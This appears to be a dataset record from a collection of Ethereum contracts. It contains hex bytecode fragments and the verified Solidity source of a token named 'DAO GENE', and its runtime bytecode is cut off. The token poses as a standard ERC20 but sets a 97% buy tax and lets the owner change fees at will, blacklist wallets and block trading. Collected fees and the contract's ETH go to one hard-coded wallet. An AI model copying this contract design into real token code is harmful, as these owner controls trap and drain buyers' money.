080fd5b8060058190555050565b600260159054906101000a900460ff1681565b601e81565b6000601e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600260019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610cee57600080fd5b8060048190555050565b620f424081565b600260019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610d5b57600080fd5b80600260156101000a81548160ff02191690831515021790555050565b600260019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610dd457600080fd5b80600260016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600581565b600260019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610e7957600080fd5b80600781905550610e88610afc565b50565b600c5481565b600d5481565b60105481565b600260019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610ef957600080fd5b8060088190555050565b600260019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610f5f57600080fd5b80600260006101000a81548160ff02191690831515021790555050565b60011515600260009054906101000a900460ff1615151415610f9d57600080fd5b348686600854831080610fb05750600581105b80610fbb5750601e82115b80610fc95750816001820311155b15610fd357600080fd5b600060166000896000191660001916815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614151561103357600080fd5b600187878787604051600081526020016040526040518085600019166000191681526020018460ff1660ff1681526020018360001916600019168152602001826000191660001916815260200194505050505060206040516020810390808403906000865af11580156110aa573d6000803e3d6000fd5b5050506020604051035173ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614151561110f57600080fd5b61111a348a8a612af0565b60158190555061112c34601554612b59565b601f600089600019166000191681526020019081526020016000208190555061115734601554612b79565b6020600089600019166000191681526020019081526020016000208190555060065460206000896000191660001916815260200190815260200160002054601f60008a60001916600019168152602001908152602001600020540311156111bd57600080fd5b86601860008960001916600019168152602001908152602001600020816000191690555088601d600089600019166000191681526020019081526020016000208190555087601c600089600019166000191681526020019081526020016000208190555034601960008960001916600019168152602001908152602001600020819055503360166000896000191660001916815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506112c2600a54601f60008a6000191660001916815260200190815260200160002054610ada565b600a81905550600454600a541015156112da57600080fd5b60166000886000191660001916815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1687600019167f56b3f1a6cd856076d6f8adbf8170c43a0b0f532fc5696a2699a0e0cabc704163601f60008b6000191660001916815260200190815260200160002054602060008c6000191660001916815260200190815260200160002054601960008d6000191660001916815260200190815260200160002054601d60008e6000191660001916815260200190815260200160002054601c60008f6000191660001916815260200190815260200160002054604051808681526020018581526020018481526020018381526020018281526020019550505050505060405180910390a3505050505050505050565b600260019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561147657600080fd5b61148260045482612b97565b600481905550611490610afc565b8173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f1935050505015156114d057600080fd5b808273ffffffffffffffffffffffffffffffffffffffff167f42c501a185f41a8eb77b0a3e7b72a6435ea7aa752f8a1a0a13ca4628495eca9160405160405180910390a35050565b60045481565b600260019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60085481565b600260019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156115cc57600080fd5b8060108190555050565b60008060011515600260159054906101000a900460ff16151514156115fa57600080fd5b601e60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506000601e60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff168160405160006040518083038185875af192505050156116bb5760019150611704565b80601e60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600091505b5090565b60065481565b60095481565b600260009054906101000a900460ff1681565b600f5481565b600260019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561178957600080fd5b611795600a5483612b97565b600a819055508273ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f1935050505015156117db57600080fd5b808373ffffffffffffffffffffffffffffffffffffffff1685600019167f7b6ccf85690b8ce1b7d21a94ca738803a9da7dc74e10140f269efa0d8d6fb85160405160405180910390a450505050565b600260019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561188657600080fd5b600260019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16ff5b60055481565b60166020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6103e881565b600a5481565b600080600060011515600260159054906101000a900460ff161515141561192c57600080fd5b600060166000886000191660001916815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141561198b57600080fd5b600285856040518083805190602001908083835b6020831015156119c4578051825260208201915060208101905060208303925061199f565b6001836020036101000a03801982511681845116808217855250505050505090500182805190602001908083835b602083101515611a1757805182526020820191506020810190506020830392506119f2565b6001836020036101000a038019825116818451168082178552505050505050905001925050506020604051808303816000865af1158015611a5c573d6000803e3d6000fd5b5050506040513d6020811015611a7157600080fd5b8101908080519060200190929190505050925082600019168660001916141515611a9a57600080fd5b60166000876000191660001916815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660176000886000191660001916815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060166000876000191660001916815260200190815260200160002060006101000a81549073ffffffffffffffffffffffffffffffffffffffff0219169055601f6000876000191660001916815260200190815260200160002054602160008860001916600019168152602001908152602001600020819055506000601f6000886000191660001916815260200190815260200160002081905550611bf0600a5460216000896000191660001916815260200190815260200160002054612b97565b600a8190555060196000876000191660001916815260200190815260200160002054601a60008860001916600019168152602001908152602001600020819055506000601960008860001916600019168152602001908152602001600020819055506001600960008282540192505081905550601a6000876000191660001916815260200190815260200160002054600c6000828254019250508190555060006011819055506001601260006101000a81548160ff0219169083151502179055508460149080519060200190611cc7929190612bc7565b50600091505b6005821015611efa5760306014838154600181600116156101000203166002900481101515611cf857fe5b815460011615611d175790600052602060002090602091828204019190065b9054901a7f0100000000000000000000000000000000000000000000000000000000000000027f0100000000000000000000000000000000000000000000000000000000000000900403601381905550601354601160008282540192505081905550601354600a601b60008960001916600019168152602001908152602001600020540201601b6000886000191660001916815260200190815260200160002081905550601460018154600181600116156101000203166002900481101515611ddc57fe5b815460011615611dfb5790600052602060002090602091828204019190065b9054901a7f0100000000000000000000000000000000000000000000000000000000000000027effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166014838154600181600116156101000203166002900481101515611e6357fe5b815460011615611e825790600052602060002090602091828204019190065b9054901a7f0100000000000000000000000000000000000000000000000000000000000000027effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916141515611eed576000601260006101000a81548160ff0219169083151502179055505b8180600101925050611ccd565b601054601a600088600019166000191681526020019081526020016000205410158015611f335750601260009054906101000a900460ff165b1561226b5760176000876000191660001916815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1660186000886000191660001916815260200190815260200160002054600019167fc0a8c4831a316aab6b23853d47dcb759fcaf413491287eaebceacad1fdbae9ff601b60008a6000191660001916815260200190815260200160002054600d54600060405180848152602001838152602001828152602001935050505060405180910390a3600d5490506000600d8190555060176000876000191660001916815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050151561226a5760176000876000191660001916815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1660186000886000191660001916815260200190815260200160002054600019167fc0a8c4831a316aab6b23853d47dcb759fcaf413491287eaebceacad1fdbae9ff601b60008a600019166000191681526020019081526020016000205484600160405180848152602001838152602001828152602001935050505060405180910390a36121eb601e6000601760008a6000191660001916815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482610ada565b601e6000601760008a6000191660001916815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b601154601d60008860001916600019168152602001908152602001600020541080156122b35750601c6000876000191660001916815260200190815260200160002054601154105b156128ff576122df60045460216000896000191660001916815260200190815260200160002054612b97565b60048190555061230c600b5460216000896000191660001916815260200190815260200160002054610ada565b600b819055506123526021600088600019166000191681526020019081526020016000205460206000896000191660001916815260200190815260200160002054612b97565b60216000886000191660001916815260200190815260200160002081905550612398600d5460206000896000191660001916815260200190815260200160002054610ada565b600d819055506123de60216000886000191660001916815260200190815260200160002054601a6000896000191660001916815260200190815260200160002054610ada565b6021600088600019166000191681526020019081526020016000208190555060176000876000191660001916815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1660186000886000191660001916815260200190815260200160002054600019167f20a4bb67f3861160995a18835b7b17b77a5cedd089191cf53eca5ff80db390af601d60008a6000191660001916815260200190815260200160002054601c60008b6000191660001916815260200190815260200160002054601b60008c6000191660001916815260200190815260200160002054602160008d60001916600019168152602001908152602001600020548a60016040518087815260200186815260200185815260200184815260200180602001838152602001828103825284818151815260200191508051906020019080838360005b83811015612561578082015181840152602081019050612546565b50505050905090810190601f16801561258e5780820380516001836020036101000a031916815260200191505b5097505050505050505060405180910390a36125a8610afc565b60176000876000191660001916815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc602160008960001916600019168152602001908152602001600020549081150290604051600060405180830381858888f1935050505015156128fa5760176000876000191660001916815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1660186000886000191660001916815260200190815260200160002054600019167f20a4bb67f3861160995a18835b7b17b77a5cedd089191cf53eca5ff80db390af601d60008a6000191660001916815260200190815260200160002054601c60008b6000191660001916815260200190815260200160002054601b60008c6000191660001916815260200190815260200160002054602160008d60001916600019168152602001908152602001600020548a60026040518087815260200186815260200185815260200184815260200180602001838152602001828103825284818151815260200191508051906020019080838360005b8381101561279d578082015181840152602081019050612782565b50505050905090810190601f1680156127ca5780820380516001836020036101000a031916815260200191505b5097505050505050505060405180910390a361287b601e6000601760008a6000191660001916815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460216000896000191660001916815260200190815260200160002054610ada565b601e6000601760008a6000191660001916815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b612ad8565b60176000876000191660001916815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1660186000886000191660001916815260200190815260200160002054600019167f20a4bb67f3861160995a18835b7b17b77a5cedd089191cf53eca5ff80db390af601d60008a6000191660001916815260200190815260200160002054601c60008b6000191660001916815260200190815260200160002054601b60008c6000191660001916815260200190815260200160002054601a60008d60001916600019168152602001908152602001600020548a60006040518087815260200186815260200185815260200184815260200180602001838152602001828103825284818151815260200191508051906020019080838360005b83811015612a63578082015181840152602081019050612a48565b50505050905090810190601f168015612a905780820380516001836020036101000a031916815260200191505b5097505050505050505060405180910390a3612ac9600454601a6000896000191660001916815260200190815260200160002054610ada565b600481905550612ad7610afc565b5b505050505050565b6000828284011015905092915050565b60008060008091506001850190505b83811015612b3257600081815481101515612b1657fe5b9060005260206000200154820191508080600101915050612aff565b81612b4260646001540284612b97565b8702811515612b4d57fe5b04925050509392505050565b6000826103e860055485850102811515612b6f57fe5b0403905092915050565b6000600f54600e5484840102811515612b8e57fe5b04905092915050565b6000612ba38383612bb9565b1515612bae57600080fd5b818303905092915050565b600082821115905092915050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10612c0857805160ff1916838001178555612c36565b82800160010185558215612c36579182015b82811115612c35578251825591602001919060010190612c1a565b5b509050612c439190612c47565b5090565b612c6991905b80821115612c65576000816000905550600101612c4d565b5090565b905600a165627a7a7230582093233c6c691647dbf2807e41cc98dfd2f128cd7dc8a3bc4ddf07d7943794b7b00029
|
{"success": true, "error": null, "results": {}}
| 9,094 |
0x25767bd21f7fad6699d6d51c94dcae4dffed56af
|
/**
*Submitted for verification at Etherscan.io on 2022-04-10
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract DAOGENE is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "DAO GENE";
string private constant _symbol = "DGENE";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 0;
uint256 private _taxFeeOnBuy = 97;
uint256 private _redisFeeOnSell = 0;
uint256 private _taxFeeOnSell = 12;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0xCA6C906254666a71F12544fFC77895bE3D6d137F);
address payable private _marketingAddress = payable(0xCA6C906254666a71F12544fFC77895bE3D6d137F);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = true;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 1000000 * 10**9;
uint256 public _maxWalletSize = 20000 * 10**9;
uint256 public _swapTokensAtAmount = 5000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610553578063dd62ed3e14610573578063ea1644d5146105b9578063f2fde38b146105d957600080fd5b8063a2a957bb146104ce578063a9059cbb146104ee578063bfd792841461050e578063c3c8cd801461053e57600080fd5b80638f70ccf7116100d15780638f70ccf71461044a5780638f9a55c01461046a57806395d89b411461048057806398a5c315146104ae57600080fd5b80637d1db4a5146103e95780637f2feddc146103ff5780638da5cb5b1461042c57600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461037f57806370a0823114610394578063715018a6146103b457806374010ece146103c957600080fd5b8063313ce5671461030357806349bd5a5e1461031f5780636b9990531461033f5780636d8aa8f81461035f57600080fd5b80631694505e116101ab5780631694505e1461027157806318160ddd146102a957806323b872dd146102cd5780632fd689e3146102ed57600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024157600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f736600461195b565b6105f9565b005b34801561020a57600080fd5b5060408051808201909152600881526744414f2047454e4560c01b60208201525b6040516102389190611a20565b60405180910390f35b34801561024d57600080fd5b5061026161025c366004611a75565b610698565b6040519015158152602001610238565b34801561027d57600080fd5b50601454610291906001600160a01b031681565b6040516001600160a01b039091168152602001610238565b3480156102b557600080fd5b5066038d7ea4c680005b604051908152602001610238565b3480156102d957600080fd5b506102616102e8366004611aa1565b6106af565b3480156102f957600080fd5b506102bf60185481565b34801561030f57600080fd5b5060405160098152602001610238565b34801561032b57600080fd5b50601554610291906001600160a01b031681565b34801561034b57600080fd5b506101fc61035a366004611ae2565b610718565b34801561036b57600080fd5b506101fc61037a366004611b0f565b610763565b34801561038b57600080fd5b506101fc6107ab565b3480156103a057600080fd5b506102bf6103af366004611ae2565b6107f6565b3480156103c057600080fd5b506101fc610818565b3480156103d557600080fd5b506101fc6103e4366004611b2a565b61088c565b3480156103f557600080fd5b506102bf60165481565b34801561040b57600080fd5b506102bf61041a366004611ae2565b60116020526000908152604090205481565b34801561043857600080fd5b506000546001600160a01b0316610291565b34801561045657600080fd5b506101fc610465366004611b0f565b6108bb565b34801561047657600080fd5b506102bf60175481565b34801561048c57600080fd5b506040805180820190915260058152644447454e4560d81b602082015261022b565b3480156104ba57600080fd5b506101fc6104c9366004611b2a565b610903565b3480156104da57600080fd5b506101fc6104e9366004611b43565b610932565b3480156104fa57600080fd5b50610261610509366004611a75565b610970565b34801561051a57600080fd5b50610261610529366004611ae2565b60106020526000908152604090205460ff1681565b34801561054a57600080fd5b506101fc61097d565b34801561055f57600080fd5b506101fc61056e366004611b75565b6109d1565b34801561057f57600080fd5b506102bf61058e366004611bf9565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105c557600080fd5b506101fc6105d4366004611b2a565b610a72565b3480156105e557600080fd5b506101fc6105f4366004611ae2565b610aa1565b6000546001600160a01b0316331461062c5760405162461bcd60e51b815260040161062390611c32565b60405180910390fd5b60005b81518110156106945760016010600084848151811061065057610650611c67565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061068c81611c93565b91505061062f565b5050565b60006106a5338484610b8b565b5060015b92915050565b60006106bc848484610caf565b61070e843361070985604051806060016040528060288152602001611da